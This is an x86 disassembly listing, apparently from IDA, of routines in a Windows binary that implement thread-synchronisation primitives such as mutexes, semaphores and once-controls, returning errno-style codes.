; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433CE0	proc near		; CODE XREF: sub_4020D1j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		mov	[esp+0Ch+arg_8], esi
		call	sub_401555
		add	esp, 4
		cmp	esi, eax
		jl	loc_433D85
		push	edi
		call	sub_401442
		add	esp, 4
		cmp	esi, eax
		jg	short loc_433D85
		cmp	esi, 0FFFFFFF1h
		jle	short loc_433D20
		cmp	esi, 0FFFFFFFEh
		jge	short loc_433D20
		mov	[esp+8+arg_8], 0FFFFFFFEh
		jmp	short loc_433D32
; ---------------------------------------------------------------------------


loc_433D20:				; CODE XREF: sub_433CE0+2Fj
					; sub_433CE0+34j
		cmp	esi, 0Fh
		jge	short loc_433D32
		cmp	esi, 2
		jle	short loc_433D32
		mov	[esp+8+arg_8], 2


loc_433D32:				; CODE XREF: sub_433CE0+3Ej
					; sub_433CE0+43j ...
		mov	edi, [esp+8+arg_0]
		push	ebx
		push	ebp
		lea	ebp, [edi+24h]
		push	ebp
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_433D7E
		mov	eax, [esp+10h+arg_8]
		mov	ecx, [edi+4]
		push	eax
		push	ecx
		nop
		call	near ptr 27506C8h
		test	eax, eax
		jnz	short loc_433D72
		push	ebp
		mov	ebx, 16h
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433D72:				; CODE XREF: sub_433CE0+7Bj
		push	ebp
		mov	[edi+28h], esi
		call	sub_4010C3
		add	esp, 4


loc_433D7E:				; CODE XREF: sub_433CE0+68j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433D85:				; CODE XREF: sub_433CE0+19j
					; sub_433CE0+2Aj
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_433CE0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433DC0	proc near		; CODE XREF: sub_4021B2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_433DF9
		mov	ecx, [esp+4+arg_4]
		cmp	ecx, 2
		jbe	short loc_433DF4
		mov	eax, [esp+4+arg_8]
		test	eax, eax
		jz	short loc_433DF4
		mov	dword ptr [ecx], 0
		mov	ecx, [esi+28h]
		mov	[eax], ecx
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433DF4:				; CODE XREF: sub_433DC0+1Bj
					; sub_433DC0+23j
		mov	eax, 16h


loc_433DF9:				; CODE XREF: sub_433DC0+12j
		pop	esi
		retn
sub_433DC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433E10	proc near		; CODE XREF: sub_401442j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_433E23
		cmp	eax, 2
		jg	short loc_433E23
		mov	eax, 0Fh
		retn
; ---------------------------------------------------------------------------


loc_433E23:				; CODE XREF: sub_433E10+6j
					; sub_433E10+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_433E10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433E50	proc near		; CODE XREF: sub_401555j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_433E63
		cmp	eax, 2
		jg	short loc_433E63
		mov	eax, 0FFFFFFF1h
		retn
; ---------------------------------------------------------------------------


loc_433E63:				; CODE XREF: sub_433E50+6j
					; sub_433E50+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_433E50	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433E90:				; CODE XREF: ___:00401ADCj
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433ED5
		nop
		call	near ptr 2750628h
		cmp	esi, eax
		jz	short loc_433ED5
		push	esi
		push	0
		push	200h
		nop
		call	near ptr 2710000h
		test	eax, eax
		jnz	short loc_433ED5
		nop
		call	near ptr 27D0818h
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433ED5:				; CODE XREF: ___:00433E97j
					; ___:00433EA1j ...
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433EEE
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433EEE:				; CODE XREF: ___:00433EDBj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433F20:				; CODE XREF: ___:00401514j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433F65
		nop
		call	near ptr 2750628h
		cmp	esi, eax
		jz	short loc_433F65
		push	esi
		push	0
		push	400h
		nop
		call	near ptr 2710000h
		test	eax, eax
		jnz	short loc_433F65
		nop
		call	near ptr 27D0818h
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433F65:				; CODE XREF: ___:00433F27j
					; ___:00433F31j ...
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433F90:				; CODE XREF: ___:00401B5Ej
		push	0
		call	near ptr 2840000h
		nop
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433FB0	proc near		; CODE XREF: sub_401C8Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		test	eax, eax
		jz	short loc_433FCF
		mov	edi, 1
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433FCF:				; CODE XREF: sub_433FB0+Aj
		push	4
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_433FE7
		mov	edi, 0Ch


loc_433FE7:				; CODE XREF: sub_433FB0+30j
		mov	eax, [esp+8+arg_8]
		push	0
		push	3FFFFFFFh
		push	eax
		push	0
		nop
		call	near ptr 2750000h
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_434014
		mov	edi, 1Ch
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434014:				; CODE XREF: sub_433FB0+4Fj
		test	edi, edi
		jz	short loc_434026
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434026:				; CODE XREF: sub_433FB0+66j
		mov	ecx, [esp+8+arg_0]
		pop	edi
		xor	eax, eax
		mov	[ecx], esi
		pop	esi
		retn
sub_433FB0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434070	proc near		; CODE XREF: sub_401690j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		jz	short loc_434095
		mov	esi, [edi]
		test	esi, esi
		jz	short loc_434095
		mov	dword ptr [edi], 0
		mov	eax, [esi]
		push	eax
		nop
		call	near ptr 2840881h
		test	eax, eax
		jnz	short loc_4340A7
		mov	[edi], esi


loc_434095:				; CODE XREF: sub_434070+8j
					; sub_434070+Ej
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4340A7:				; CODE XREF: sub_434070+21j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		retn
sub_434070	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4340E0	proc near		; CODE XREF: sub_4010A5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_434113
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_434113
		mov	eax, [eax]
		push	0
		push	eax
		nop
		call	near ptr 27806AAh
		cmp	eax, 102h
		jnz	short loc_434125
		mov	esi, 0Bh
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434113:				; CODE XREF: sub_4340E0+7j
					; sub_4340E0+Dj
		mov	esi, 16h
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434125:				; CODE XREF: sub_4340E0+1Fj
		xor	eax, eax
		pop	esi
		retn
sub_4340E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434150	proc near		; CODE XREF: sub_401041j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_43417D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43417D
		mov	eax, [eax]
		push	eax
		call	sub_40164A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F0h, 1F74F685h,	7EB147E8h, 30899077h, 5EFFC883h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_43417D:				; CODE XREF: sub_434150+7j
					; sub_434150+Dj
		mov	esi, 16h
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_434150	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4341C0	proc near		; CODE XREF: sub_4018A7j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		test	ebp, ebp
		push	esi
		jnz	short loc_4341E3
		mov	esi, 16h
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		pop	esi
		or	eax, 0FFFFFFFFh
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4341E3:				; CODE XREF: sub_4341C0+Bj
		push	ebx
		push	edi
		mov	edi, [esp+1Ch+arg_4]
		test	edi, edi
		jnz	short loc_4341F2
		or	ebx, 0FFFFFFFFh
		jmp	short loc_434251
; ---------------------------------------------------------------------------


loc_4341F2:				; CODE XREF: sub_4341C0+2Bj
		lea	eax, [esp+1Ch+var_C]
		xor	ebx, ebx
		push	eax
		nop
		call	near ptr 77C49113h
		mov	ecx, [edi]
		mov	esi, [esp+20h+var_C]
		add	esp, 4
		cmp	ecx, esi
		jl	short loc_434251
		mov	edx, [edi+4]
		mov	eax, 431BDE83h
		add	edx, 7A120h
		mul	edx
		lea	eax, [ecx+ecx*4]
		lea	ecx, [esi+esi*4]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		sub	eax, ecx
		mov	ecx, [esp+1Ch+var_8]
		and	ecx, 0FFFFh
		cmp	eax, ecx
		jbe	short loc_434251
		sub	eax, ecx
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_434251
		dec	ebx


loc_434251:				; CODE XREF: sub_4341C0+30j
					; sub_4341C0+4Aj ...
		mov	edx, [ebp+0]
		push	ebx
		mov	eax, [edx]
		push	eax
		call	sub_401D84
sub_4341C0	endp

; ---------------------------------------------------------------------------
		db 83h,	0C4h, 8
		dd 0F685F08Bh, 11745B5Fh, 0B04EE890h, 3089777Eh, 0FFC8835Eh
		dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h,	3 dup(90909090h)
		dd 10h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_4342D0	proc near		; CODE XREF: sub_40103Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_4342EF
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4342EF
		mov	eax, [eax]
		push	0
		push	1
		push	eax
		nop
		call	near ptr 2740DC3h
		test	eax, eax
		jnz	short loc_4342FF


loc_4342EF:				; CODE XREF: sub_4342D0+6j
					; sub_4342D0+Cj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_4342FF:				; CODE XREF: sub_4342D0+1Dj
		xor	eax, eax
		retn
sub_4342D0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434320	proc near		; CODE XREF: sub_402068j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_434346
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_434346
		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jle	short loc_434346
		mov	eax, [eax]
		push	0
		push	ecx
		push	eax
		nop
		call	near ptr 2740DC3h
		test	eax, eax
		jnz	short loc_434356


loc_434346:				; CODE XREF: sub_434320+6j
					; sub_434320+Cj ...
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_434356:				; CODE XREF: sub_434320+24j
		xor	eax, eax
		retn
sub_434320	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434370:				; CODE XREF: ___:0040143Dj
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jz	short loc_4343BD
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4343BD
		mov	edi, [esp+10h]
		test	edi, edi
		jz	short loc_4343BD
		mov	eax, [esi]
		push	0
		push	eax
		nop
		call	near ptr 27806AAh
		cmp	eax, 102h
		jnz	short loc_4343A1
		xor	eax, eax
		mov	[edi], eax
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4343A1:				; CODE XREF: ___:00434398j
		mov	edx, [esi]
		lea	ecx, [esp+0Ch]
		push	ecx
		push	1
		push	edx
		call	near ptr 2740DC3h
		nop
		mov	eax, [esp+0Ch]
		inc	eax
		mov	[edi], eax
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4343BD:				; CODE XREF: ___:00434378j
					; ___:0043437Ej ...
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4343F0:				; CODE XREF: ___:0040222Fj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434410:				; CODE XREF: ___:00402031j
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434430:				; CODE XREF: ___:00401CC6j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434450	proc near		; CODE XREF: sub_4019A1j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510960
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_434484
		push	esi
		push	ecx
		call	sub_402211
		add	esp, 8
		mov	esi, eax
		push	offset dword_510960
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434484:				; CODE XREF: sub_434450+17j
		test	eax, eax
		jnz	short loc_43448D
		mov	esi, 16h


loc_43448D:				; CODE XREF: sub_434450+36j
		push	offset dword_510960
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_434450	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4344C0	proc near		; CODE XREF: sub_402211j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebp, edi
		mov	[esp+14h+var_4], edi
		jnz	short loc_4344DE
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4344DE:				; CODE XREF: sub_4344C0+11j
		lea	eax, [esp+14h+var_4]
		push	eax
		call	sub_401C3A
		mov	ebx, [esp+18h+arg_4]
		add	esp, 4
		test	eax, eax
		jz	short loc_434519
		mov	[esp+14h+var_4], 1


loc_4344FB:				; CODE XREF: sub_4344C0+5Ej
					; sub_4344C0+63j
		push	8
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_434530
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_434519:				; CODE XREF: sub_4344C0+31j
		cmp	[esp+14h+var_4], 1
		jle	short loc_4344FB
		cmp	ebx, 1
		jnz	short loc_4344FB
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 28h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_434530:				; CODE XREF: sub_4344C0+4Cj
		mov	eax, [esp+14h+var_4]
		cmp	eax, 1
		jle	short loc_43454D
		mov	[esi+4], eax
		mov	dword ptr [esi], 1
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43454D:				; CODE XREF: sub_4344C0+77j
		lea	ecx, [esp+14h+arg_0]
		push	ecx
		call	sub_401A1E
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_434583
		mov	edx, [esp+14h+arg_0]
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	[edx], ebx
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_434583
		mov	dword ptr [esi], 3


loc_434583:				; CODE XREF: sub_4344C0+9Ej
					; sub_4344C0+BBj
		lea	edx, [esp+14h+arg_0]
		push	edx
		call	sub_4010AA
		add	esp, 4
		test	edi, edi
		jnz	short loc_43459F
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43459F:				; CODE XREF: sub_4344C0+D2j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, edi
		mov	dword ptr [ebp+0], 0
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4344C0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434600:				; CODE XREF: ___:00401109j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		xor	ebx, ebx
		test	edi, edi
		jz	loc_4346A5
		mov	esi, [edi]
		test	esi, esi
		jz	loc_4346A5
		cmp	esi, 0FFFFFFFFh
		jz	short loc_434668
		cmp	dword ptr [esi], 3
		jnz	short loc_43464D
		lea	eax, [esi+4]
		push	eax
		call	sub_402252
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_43469F


loc_434637:				; CODE XREF: ___:0043465Bj
		push	esi
		mov	dword ptr [edi], 0
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43464D:				; CODE XREF: ___:00434623j
		push	1
		push	0
		push	esi
		call	dword_5103D8	; InterlockedCompareExchange
		cmp	eax, 1
		jz	short loc_434637
		mov	ebx, 16h
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_434668:				; CODE XREF: ___:0043461Ej
		push	offset dword_510960
		call	near ptr 7C901005h
		nop
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_43468F
		push	offset dword_510960
		mov	dword ptr [edi], 0
		call	near ptr 7C9010EDh
		nop
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43468F:				; CODE XREF: ___:00434676j
		push	offset dword_510960
		mov	ebx, 10h
		nop
		call	near ptr 7C9010EDh


loc_43469F:				; CODE XREF: ___:00434635j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4346A5:				; CODE XREF: ___:0043460Bj
					; ___:00434615j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4346E0:				; CODE XREF: ___:004021E4j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_434741
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_434741
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_434701
		push	esi
		call	sub_4019A1
		add	esp, 4
		test	eax, eax
		jnz	short loc_434746


loc_434701:				; CODE XREF: ___:004346F2j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_5103D8	; InterlockedCompareExchange
		cmp	eax, 2
		jnz	short loc_434723


loc_434713:				; CODE XREF: ___:00434721j
		push	1
		push	2
		push	esi
		call	dword_5103D8	; InterlockedCompareExchange
		cmp	eax, 2
		jz	short loc_434713


loc_434723:				; CODE XREF: ___:00434711j
		mov	eax, [esi]
		cmp	eax, 2
		jnz	short loc_43472E
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43472E:				; CODE XREF: ___:00434728j
		cmp	eax, 3
		jnz	short loc_434741
		add	esi, 4
		push	esi
		call	sub_402248
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434741:				; CODE XREF: ___:004346E7j
					; ___:004346EDj ...
		mov	eax, 16h


loc_434746:				; CODE XREF: ___:004346FFj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434770:				; CODE XREF: ___:00401AB9j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	short loc_4347B1
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4347B1
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_43478B


loc_434784:				; CODE XREF: ___:00434797j
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43478B:				; CODE XREF: ___:00434782j
		push	2
		push	1
		push	esi
		call	dword_5103D8	; InterlockedCompareExchange
		dec	eax
		jz	short loc_434784
		dec	eax
		jz	short loc_4347AD
		dec	eax
		jnz	short loc_4347B1
		add	esi, 4
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4347AD:				; CODE XREF: ___:0043479Aj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4347B1:				; CODE XREF: ___:00434777j
					; ___:0043477Dj ...
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4347E0:				; CODE XREF: ___:00401942j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_434830
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_434830
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_434801
		push	esi
		call	sub_4019A1
		add	esp, 4
		test	eax, eax
		jnz	short loc_434835


loc_434801:				; CODE XREF: ___:004347F2j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_5103D8	; InterlockedCompareExchange
		dec	eax
		jz	short loc_43482C
		dec	eax
		jz	short loc_434825
		dec	eax
		jnz	short loc_434830
		add	esi, 4
		push	esi
		call	sub_401785
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434825:				; CODE XREF: ___:00434812j
		mov	eax, 10h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43482C:				; CODE XREF: ___:0043480Fj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434830:				; CODE XREF: ___:004347E7j
					; ___:004347EDj ...
		mov	eax, 16h


loc_434835:				; CODE XREF: ___:004347FFj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434860:				; CODE XREF: ___:00401244j
		push	esi
		mov	esi, [esp+8]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_43488C
		mov	eax, [esi+20h]
		mov	ecx, 1
		cmp	eax, ecx
		jnz	short loc_434887
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434887:				; CODE XREF: ___:0043487Ej
		xor	eax, eax
		mov	[esi+20h], ecx


loc_43488C:				; CODE XREF: ___:00434872j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4348A0	proc near		; CODE XREF: sub_401767j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_43492C
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4348C4
		mov	eax, 2
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4348C4:				; CODE XREF: sub_4348A0+1Bj
		push	edi
		push	esi
		push	eax
		call	sub_401A64
		add	esp, 8
		test	eax, eax
		jz	short loc_4348DD
		mov	edi, 24h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4348DD:				; CODE XREF: sub_4348A0+31j
		cmp	dword ptr [esi+20h], 1
		jnz	short loc_4348ED
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4348ED:				; CODE XREF: sub_4348A0+41j
		mov	eax, [esi+4]
		push	eax
		call	sub_40164A
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh
		dd 0C268E890h, 0C0850230h, 0E8560E74h, 0FFFCCE9Bh, 8B04C483h
		dd 0C35E5FC7h, 3BFh, 5FC78B00h
; ---------------------------------------------------------------------------


loc_43492C:				; CODE XREF: sub_4348A0+12j
		pop	esi
		retn
sub_4348A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434960	proc near		; CODE XREF: sub_401609j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	10h
		push	1
		xor	edi, edi
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
